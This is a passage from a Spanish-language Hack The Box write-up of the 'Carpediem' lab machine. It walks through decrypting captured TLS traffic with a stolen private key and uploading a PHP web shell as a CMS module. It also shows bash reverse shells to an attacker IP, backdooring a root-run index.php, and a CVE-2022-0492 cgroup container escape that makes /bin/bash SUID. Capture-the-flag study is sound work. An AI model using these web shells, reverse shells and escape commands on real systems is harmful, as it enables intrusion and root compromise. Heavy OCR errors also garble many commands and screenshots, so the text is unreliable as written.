TP 66 38594 _ 27017 [ACK] Seq=1 Ack=609 Win=6146 Len= TSval=2209814652 TSecr=2798394814 -
ssL 171 Continuation Data 1
ssL 370 Continuation Data
TP 66 3864@ — 27017 [ACK] Seq=111 Ack=689 Win=6146 Lt TSval=2209819104 TSecr=2790309867

66 K]

SSL 370

TCP 66 38594 . 27017 [ACK] Seq=1 Ac 3 Win=6146 Len=0 TSval=2209824861 TSecr=2790314824 -
15 21.301363 TCP 74 56578 _ 443 [SYN] Seq=@ Win=64248 Len=0 M55=1460 SACK_PERM TSval=736801743 TSecr=0 WS=128
16 21.301419 TCcP 74 443 . 56578 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 M55=1460 SACK_PERM TSval=4178008680 TSecr=736001743 W5=128
17 21.301435 TCP 66 56578 _. 443 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=736601743 TSecr=4178508680

TLSv1.2 415 Client Hello

ToP 66 443 . 56578 [ACK] Seq=1 Ack=350 Win=64896 Len=0 TSval=4178908681 TSecr=736001744

TLSv1.2 1098 Server Hello, Certificate, Server Hello Done

TcR 66 56578 . 443 [ACK] Seq=350 Ack=1033 Win=64128 Len=0 TSwval=736001745 TSecr=4178908682

TLSv1.2 424 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message

TCP 66 443 . 56578 [ACK] Seq=1@33 Ack=708 Win=64640 Len=@ TSval=4178908683 TSecr=736001746 -
TLSv1.2 157 Change Cipher Spec, Encrypted Handshake Message

ce 66 56578 . 443 [ACK] Seq=7@8 Ack=1124 Win=64128 Len=@ TSval=736001748 TSecr=4178008685

TLSvi.2 583 Application Data -

26 21.307316

Figura 46: Wireshark 1.1

Los datos en si que se encuentran en la traza estdn encriptados, por lo tanto, su dificultad para ver algo en
texto claro. Se investigan las primeras comunicaciones entre servidores (Handshake) donde se pueden analizar
protocolos empleados y cierta informacién que se intercambian los sistemas en sus primeros estados de conexién.
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captura.cap

Archive Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Hemramientas Ayuda

(M]apligue un filtro de visualiz Cir
No. Time source Destination Protocol Lengtt Info A
1 0.600000 SSL 370 Continuation Data —
2 0.000020 TCP 66 38594 _. 27017 [ACK] Seq=1 Ack=305 Win=6146 Len=0 TSval=2209804850 TSecr=2790294813
3 5.053880 SsL 121 Continuation Data
4 5.054157 SSL 370 Continuation Data
5 5.854170 TcP 66 38640 . 27017 [ACK] Seq=56 Ack=385 Win=6146 Len=® TSval=2209809104 TSecr=2799299867
6 10.001724 SSL 370 Continuation Data
7 10.001758 Tce 66 38594 . 27017 [ACK] Seq=1 Ack=609 Win=6146 Len=0 TSval=2209814852 TSecr=2790304814 -
8 15.054286 SSL 121 Continuation Data —1
. SSL 370 Continuation Data
TCcP 66 38640 . 27017 [ACK] Seq=111 Ack= 609 Win=6146 Len 9 TSval-2209819104 TSecr=2790309867
09310604 TSecr 2209508545
X

TCP GE 27017 . 38508 [ACK] Seq :l Ac

s

TP 66 38504 _. 27017 [ACK] Seq=1 Ack=913 Win=6146 Len=0 TSval=2209824861 TSecr=2790314824 ||

Tcp 74 56578 _ 443 [SYN] Seq=8 Win=64240 Len=d MSS=1460 SACK_PERM TSval=736001743 TSecr=0 WS=128

Tce 74 443 .. 56578 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=0 MS55=1460 SACK_PERM TSwval=4178908680 TSecr=736001743 wWS=128

TCcP 66 56578 . 443 [ACK] Seq=1 Ack=1 Win=64256 Len=8 TSval=736081743 TSecr=4178908680

TLSv1.2 415 Client Hello

TCcP 66 443 _. 56578 [ACK] Seq=1 Ack=350 Win=64896 Len=6 TSval=4178908681 TSecr=736001744
1098 Server Hello, Certificate, server Hello Done

P 66 56578 . 443 [ACK] 5eq-350 Ack-1033 Win=04128 Len=0 1Sval-736001745 1Secr=41/8908682

TLSv1.2 424 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message

Tcp 66 443 . 56578 [ACK] Seq=1033 Ack=708 Win=64648 Len=b TSval-4178988683 TSecr=736001748 [

TLSvi.2 157 Change Cipher Spec, Encrypted Handshake Message

Tcp 66 56578 - 443 [ACK] Seq=768 Ack=1124 Win=64128 Len=b TSval=736601748 TSecr=4178008685

TLSvi.2 503 Application Data

13 20.
14 20.011154
15 21.301363

26 21.307316

Figura 47: Wireshark 1.2

ELOEINEL LL, 2fU. WL 4L d0, L9, Wd (WL 9L0dU L W wd ), Usbl. WL 4L 70 .0L.08.00 (W2 48007 .0£2.08,0)
Internet Protocol Versionm 4, Src: 172.17.0.3, Dst: 172.17.60.1
Transmission Control Protocol, Src Port: 443, Dst Port: 56578, Seq: 1, Ack: 3508, Len: 1832
Transport Layer Security
= TLSv1.2 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0xB303)
Length: 108
= Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 104 h
Version: TLS 1.2 (@xB303)
¢ Random: a6582a6b2759abe560983d92d6a324bbB51748T98ac41d8d930a4789badee3l
Session ID Length: 32
Session ID: bcd4aB85c69b767T16c541d1c19ed881434edf912aa5T233231513292179cc9ave
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA256 (@xB83d)
Compression Method: nuLl (2}

5y ¥ ¥ ¥

Figura 48: Wireshark 1.3

En este caso el cipher suite empleado para la comunicacién es TLS_RSA _WITH_AES_256_CBC_SHA256,
el cual no soporta Perfect Forward Secrecy (PFS), por lo tanto, si se tiene acceso a estos certificados se podria
descifrar el contenido bajo esta comunicacién.

Se sabe que la web backdrop.carpediem.htb funciona a traves del protocolo HTTPS normalmente asociado
al puerto:443, se busca en nuestra maquina victima archivos backdrop.

find / -name *backdrop* 2>/dev/null

hflaccusgcarpediem: % find / -name *backdrop* 2>/dev/null
/etc/ssl/certs/backdrop.carpediem.htb.key
/etc/ssl/certs/backdrop.carpediem.htb.crt

/usr/share/icons/Humanity/apps/24/xfce4-backdrop.svg
/usr/share/icons/Humanity/apps/48/xfce4-backdrop.svg
fusr/share/icons/Humanity/apps/128/xfce4-backdrop.svg

Figura 49: find Backdrop
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Se transfieren a nuestro equipo los archivos de la carpeta /etc/ssl/certs/ y se anade el archivo .key a la
herramienta Wireshark para desencriptar.

/home/../HTB/CarpediemHTEB/content,/Dump
hflaccusg1@.10.11.167:/etc/ssl/certs/backdroph\* .
hflaccusgl0.10.11.167"'s password:
backdrop.carpediem.htb.crt 100% 1269 18.3KB/s 00:00
backdrop.carpediem.htb.key 100% 1679 9.3KB/s 00:00

Figura 50: scp

25 Aplicadones Lugares @ wireshark 1deene 0309

Archivo Edicién Visualizacion I Captura Analizar Telefonja Wireless Herramientas Ayuda

ﬂl:lﬂ@r-‘l.ﬁ&eane»! oo @

Protocol  Length Info.

Wireshark. Preferences.

- Apariencia ST
Columnas
Disefio Las claves RSA privadas se cargan desde un archivo o identificador PKC
Fuentey colores
Botones defiltro
Captura
Claves RSA fpecr=2796300867
Experts
Name Resolution
Protocols.
» Statistics
Avanzado

743 Tsecr=o Ws=128
Sval=4178998680 TSecr=736001743 WS=128

[Afadir nuevo archivo de clave...| Afadi nuevo identificador.
Librerias de proveedores de PKCS #11
‘ARadir nuevo proveedor.

Aceptar

00 10
00 0d 60

® & cpuncp Pagquetes: 293 Mostrat

Figura 51: Claves

28 Apliadones Lugares @ wireshark 1deene 0311

captura.cap
Archivo Edicion Visualizacion It Captura Analizar_Estadisticas Telefonfa Wireless Herramientas Ayuda

ADA® i @BR@ aQac>0«>EBEooo @l

I we —————  E=E+

Protocol Length Info
o .3 TP e e
0. 1 750 HTTP/1.1 362 Fou

o 3 335 GET /7aedin/decnboard HITo/1.1

o. 1 1751 HTTP/1.1 288 0K (text/html)

Lo, 3 700 POST /7qzuser/login HTTP/1.1 (application/x-w-forn-urlencoded)
‘0. 1 711 HTTP/1.1 588 Service unavailable (with message

o 3 e T AR I (e e )
o 1 759 HTTP/1.1 302 Fou

o 3 555 GET /ricadmin/gashboard WTTP/1.1

o 1 1751 HTTP/1.1 200 OK (text/htnl)

239 149.651894

0 68 60
1 00 01

42:ac:11:00:03)
Porc: 443 5, A 24, Len: 197
ytes): #26(375), #28(128)]

[2 enbled TLS segn
itpecex ATt ot

HIML Form URL

Frame (263bytes) Decrypted TLS (128bytes)  Reassembled TLS (503 bytes)
@ B Hypertext Transfer Protocol: Protocol Paquetes: 293 Mostrado: 10 (3.4%)

Figura 52: decrypted
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Se encuentran las credenciales de un nuevo usuario llamado jpardella. Se prueba estas credenciales en el login
de la web backdrop.carpediem.htb (figura 44 de la pédgina 20). Se encuentra que hay acceso al portal de
administracion usando estas credenciales.

Login

LOGIN | RESETPASSWORD

Username or email *

jpardella 1

Password Show password

[ Hypertext Transfer Protocol

[ HTML Form URL E n/x-www-Form-ur Lencoded

<, Form n jpar al LOG IN
n 3 IDZwYWdhY"
m "= g f

Xfuvmyv0z0ihcfyBBWhTF3TZC8jkPBXALVUBrdATSUS "

Form

(a) credentials (b) login

Home » Administration

Dashboard

OVERVIEW SETTINGS

(¢) Dashboard

Figura 53: jpardella

10. Backdrop Enumeration/Backdrop Exploitation

Una vez dentro de este panel administrativo, se enumeran las diferentes funcionalidades que posee este gestor.
Se encuentra la posibilidad de poder instalar un nuevo modulo como se muestra a continuacion:

Home

Manual installation

You can find modules, themes, and layouts on backdropcms.org. The following file extensions are supported: tar tgz gz b2 zip.

~ Install projects by name

Names

Enter project names, one name per line. Names must only contain lowercase letters, numbers, and underscores.

» Install from a URL

» Upload a module, theme, or layout archive to install

INSTALL

Figura 54: module

Se descarga un modulo llamado shortcode con el cual probaremos esta funcionalidad.

Update manager
Installation was completed successfully.
shortcode

« Installed shortcode successfully

/home/../HTB/CarpediemHTB/content/modules Next steps
/home/juan/Descargas/shortcode.zip . « Enable newly added modules
« Browse more modules

/home/../HTB/CarpediemHTB/content/modules

I

(a) shortcode (b) update

Figura 55: upload-module
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10.1. Abusing Backdrop - Installing new module

Se crea un script en php en la carpeta del médulo que hemos descargado al cual se le llama cmd.php, permite
el control de los comandos que se quiera ejecutar mediante el empleo de cmd.

1 <?php
2 echo "<pre" . shell_exec{$_REQUEST[’cmd’]) . "</pre>";
3 7>

/home/.../CarpediemHTB/content/modules/shortcode /home/.../CarpediemHTB/content/modules/shortcode
at cmd.php t cmd.php
<?php <?php

echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</prep>"; echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</prep>

7> 7>

(a) nvim (b) cmd.php

Figura 56: script.php

Ahora se vuelve a repetir el mismo procedimiento de instalaciéon del médulo shortcode.

v Core i
NAME VERSION DESCRIPTION OPERATIONS
a shortcode 1.%-2.26.0 Provides shortcodes filter framework and API (like WP shortcodes) more
(] Shortcode Basic Tags 1.%-2.26.0 Provides basic shortcode tags like highlight, dropcap, etc. more ~
a i:::::ld::gmhed 1.%2.26.0 Provides a shortcode tag for embedding a node content into text. more ~

Figura 57: malicious-shortcode

localhost

Figura 58: url
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Bajo las mismas directrices empleadas en la figura 29 de la pagina 15, se inicia el procedimiento para entablar
una reverse shell para acceder al otro contenedor.

cmd=bash -c ”bash —i > & /dev/tcp/10.10.16.2/443 0 > &1”

< C @ O & local

« < @ Q localhost

Kali Linux 8 Kali Tools = Kali Docs ¥ Kali Forums @ Kali NetHunter Exploit-DB. Google Hacking DB

Kali Linux & Kali Tools  Kali Docs ¥ Kali Forums @ Kali NetHunter Exploit-DB. Google Hacking DB

wwi-data 172.17.0.3

(b) hostname

CquEwe Tr Th-ouhen retrnsnt
066000 G0:0090000 6000000
0060:0000000 00:00066000 6006600
000 00:00000000 00006000

EC7E 66 06000090:00000000 03:0000107D 0
£0188 010011ACEECE2 06 00000000:00090000 03:0000GC45 6000000
300114C D158 D10011AC: ECO4 01 00300000 00090000 02:0DOAFCGE 00000000 35177113 0000900000000000 26 5 24 10 16

(¢c) /proc/net/tep (d) one liner

Figura 59: reverse-shell.2

/home/.../HTB/CarpediemHTB/content/modules

listening on [any] 443 ...

connect to [10.10.16.2] from (UNkKnown) [10.10.11.167] 43138

bash: cannot set terminal process group (273): Inappropriate ioctl for device
bash: no job control in this shell

wuw-datag9@c7522b842: /var/www/html/backdrop/modules/shortcode$ whoami

whoami

wuw-datag9@c7 522b842: /var/www/html/backdrop/modules/shortcode$ script /dev/null -c bash
<ackdrop/modules/shortcode$ script /dev/null -c bash

Script started, output log file is '/dev/null’.
wuw-datag9@c7f522b842: /var /www/html/backdrop/modules/shortcode$ “Z

zsh: suspended nc -nlvp 443

/home/.../HTB/CarpediemHTB/content/modules

raw
[1] + continued nc -nlvp 443
reset xtern |

Figura 60: nc-shell
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11. Abusing a cron job on a container

11.1. Container priviledge escalation

Se examinan los comandos que se ejecutan y el usuario en el sistema.

[ ps -eo user,command ]

wuw-dataf9@c7f522b842: /$ ps -eo user,command
COMMAND
/bin/bash /root/docker-entrypoint.sh
Jusr/sbin/vsftpd
/bin/sh /fusr/bin/mysqld_safe
mysql /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/1lib/mysql/plugin --user=
mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mys
logger -t mysqld -p daemon error
/usr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
Jusr/sbin/apache2 -k start
Jusr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
/usr/sbin/cron -P
/bin/bash
Jusr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
sh -c bash -c "bash -i >& /dev/tcp/10.10.16.8/443 0>51"
bash -c bash -i >&5 /dev/tcp/10.10.16.8/443 0>&1
bash -i
script /dev/null -c bash
sh -c bash
bash
/usr/sbin/CRON -P
/bin/sh -c sleep 45; /bin/bash /opt/heartbeat.sh
sleep 45

Figura 61: /opt/heartbeat.sh

www-datag)9@c7 f522b842: /$ cat /opt/heartbeat.sh
#1/bin/bash
#Run a site availability check every 18 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]1]; then

exit
fi

status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://lo
calhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$2" 1= @ 1]; then
ffsomething went wrong. restoring from backup.
cp /root/index.php /var/www/html/backdrop/index.php

fi

Figura 62: cat-heartbeat

No se tiene capacidad de escritura en este archivo, pero si de lectura como se muestra en la figura 62, el cual se
ve que hace un checksum de un script, si el checksum tiene el mismo valor, no sale y despues de comprobarlo
ejecuta en php el script como root.
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wevi-datag9@c7f522b842 : /var/www/html/backdrop$ 1s -1
total 80
-TW-r- www-data www-data 18092 Mar 2022 LICENSE.txt
-TW-r- www-data www-data 5169 Mar 2022 README.md
drwxr-xr-x 9 www-data www-data 40896 Apr 2022 core
druxr-xr-x 6 www-data www-data 4096 Apr 1 2022 files
=IW=-C=-T wwwi-data www-data 578 Jan 17:28 index.php
drwxr-xr-x 2 www-data www-data 40896 Apr 2022 layouts
wwwi-data www-data 4096 Apr 2022 modules
www-data www-data 1198 Mar 2022 robots.txt
wwwi-data www-data 19386 Apr 2022 settings.php
druxr-xr-x 2 www-data www-data 40896 Apr 2022 sites
drwxr-xr-x 2 www-data www-data 4096 Apr 1 2022 themes
wivi-datag9@c7f522b842: /var/www/html/backdrop$ D

Figura 63: /var/www /html/backdrop

Como hay peticiones automaticas que se comunican con el backdrop como se puede ver en la figura 52 de la
péagina 23, se altera el archivo index.php con la finalidad que ejecute codigo como root, con echo se escribe este
one liner en bash para entablar una reverse shell para acceder como root y se le da permisos de ejecucién.

echo -e ’#!/bin/bash\n\ nbash -i >& /dev/tcp/10.10.16.8/443 0>& 1’ > reverse

chmod -x reverse

weni-datag9ec7f522b842 : /var/www/html/backdrop$ cd /dev/shm/

wi-datag9ec7f522b842: /dev/shm$ 1s

wei-datag9ec7f522b842: /dev/shm$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.16.8/443 @>&1' > re
verse

www-datag90c7f522b842: /dev/shm$ 1s

reverse

wini-datag90c7f522b842: /dev/shm$ chmod +x reverse

wni-dataggecy£522b842: /dev/shms []

Figura 64: reverse

Ahora se le anade una linea en php al final de index.php, para que como root ejecute con la bash reverse.

echo ’system(”bash /dev/shm/reverse”);’ > index.php

www-dataf9@c7f522b842: /var/www/html/backdrop$ echo 'system{"bash /dev/shm/reverse”);' >> index.php
wnw-datag90c7 £522b842: /var/www/html/backdrop$ cat index.php
<?php

~
*
*

afile
The PHP page that serves all page requests on a Backdrop installation.

The routines here dispatch control to the appropriate handler, which then
prints the appropriate page.

All Backdrop code is released under the GNU General Public License.
See COPYRIGHT.txt and LICENSE.txt files in the "core" directory.

# ¥ Ok F Ok ¥ ok F ¥
-~

Jxx

* Root directory of Backdrop installation.
*/

define('BACKDROP_ROOT', getcwd())

require_once BACKDROP_ROOT . '/core/includes/bootstrap.inc’;
backdrop_bootstrap(BACKDROP_BOOTSTRAP_FULL)
menu_execute_active_handler();

system("bash /dev/shm/reverse");

www-datag9ecyf522bs42: /var/www/html/backdrop$ D

Figura 65: index.php
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1C -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.8] from (unknown) [1e.10.11.167] 37898
bash: cannot set terminal process group (724): Inappropriate ioctl for device
bash: no job control in this shell
rootg9ec7f522b842: /var/wuw/html /backdrop# whoami
whoami
root
rootg9ec7f522b842: /var/www/html/backdrop# D

Figura 66: root-shell

Ahora se tiene acceso a root en el contenedor.

12. Abusing CVE-2022-0492 (Container Escape via Cgroups)

Se va a escapar del contenedor en el que se encuentra para escalar privilegios a la maquina victima real. darle
privilegios suid a esta bash de esta maquina (hflaccus). (HackTricks)(Paloalto).

New Linux Vulnerability CVE-2022-0492
Affecting Cgroups: Can Containers Escape?

80,001 people reacted

Figura 67: reverse

Para ver las capabilities, se ejecuta el siguiente comando. no se encuentra cap_sys_admin

set ‘cat /proc/$$/status | grep CapEf:”‘; capsh —decode=$2

rootg9@c7f522b842:~# set “cat /proc/$$/status |grep "CapEff:""; capsh --decode=$2
0x00000000a00425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,ca

p_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
root39ecyf522b842:~# []

Figura 68: set

A traves de la llamada unshare, los contenedores pueden crear nuevos usuarios y nuevos cgroups donde aparece
la capability CAP_SYS_ADMIN y montar cgroupsfs.

[ unshare -UrmC bash ]
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PEN-TESTING LABS

rootg9@0c7f522b842:~# set cat /proc/$%/status |grep "CapEff:" ; capsh --decode=%2 | grep sys_admin
rootg00c7f522b842:~# set “cat /proc/$%$/status |grep "CapEff:""; capsh --decode=%2
X00000000a0R425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,ca
p_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap

rootg90c7f522b842:~# unshare -UrmC bash

rootg90c7f522b842:~# set “cat /proc/$$/status | grep "CapEff:""; capsh --decode=%$2 | grep sys_admin
x00000@3fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_

setgid, cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admi
,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawlo,cap_sys_chroot,cap_sys_ptrace,c
p_sys_pacct,cap_ ,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config
,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap
syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

rootg00c7f522b842:~# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

root@90c7 £522b842: ~# [ |

Figura 69: cap_sys_admin

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=‘sed -n ’s/.*\perdir=\([",]1*\) .*/\1/p’ /etc/mtab‘
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat /tmp/cgrp/release_agent
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat /tmp/cgrp/release_agent
echo ’#!/bin/sh’ > /cmd
echo ’chmod u+s /bin/bash’ >> /cmd

chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

rootg90c7f522b842: i cgrp && mount -t cgroup -o rdma cgroup /tmp/cerp && mkdir
echo 1 > /tmp/cgrp/x/notify_on_release
host_path="sed -n 's/.*\perdir=\([",]#\).*/\1/p' /etc/mtab"
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat /tmp/cgrp/release_agent
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd

echo 'chmod u+s /bin/bash’' >> /cmd

chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"”
/var/lib/docker/overlay2/etee513c84a45chdc61a80642 fbbddd4fd2d1145ec759bf4415b642bc17F383b/diff/cmd
/var/lib/docker/overlay2/etee513c84a45chdc61a80642 fbbddd4fd2d1145ec759bf4415b642bc17F383b/diff/cmd
rootg90c7f522b842:/# | |

Figura 70: Container escape

Con el parametro bash -p se accede a la bash en modo priviledge.

bash -p
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hflaccusgcarpediem:~$ 1s -1 /bin/bash
-ruWsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
hflaccusgcarpediem: ~$ I

(a) whoami

hflaccusagcarpediem:~$ bash -p
bash-5.0# whoami

root

bash-5.0# cd /root/

bash-5.0# 1s

backdrop backdrop_cleanup.sh root.txt wvoicemail.wav
bash-5.0# cat root.txt

a0034dd4674afféec2afB87ec9e3076b8
bash-5.0# []

(b) bash -p

Figura 71: reverse-shell.2

31 Juan Antonio Sudrez Sudrez



	Antecedentes
	Objetivos
	Conocimientos Requeridos
	Habilidades Aprendidas

	Técnicas
	Análisis de vulnerabilidades
	Reconocimiento inicial
	Parameter Fuzzing
	Creating a HTML form
	Detección de vulnerabilidades

	Explotación de vulnerabilidades
	Mass Assigment Attack
	Gobuster
	Explotación Mass Assignment Attack


	Reverse shell
	Trudesk ticketing
	Abusing Capabilities (tcpdump)
	Abusing Weak Cipher Suite 
	Backdrop Enumeration/Backdrop Exploitation
	Abusing Backdrop - Installing new module

	Abusing a cron job on a container
	Container priviledge escalation

	Abusing CVE-2022-0492 (Container Escape via Cgroups)

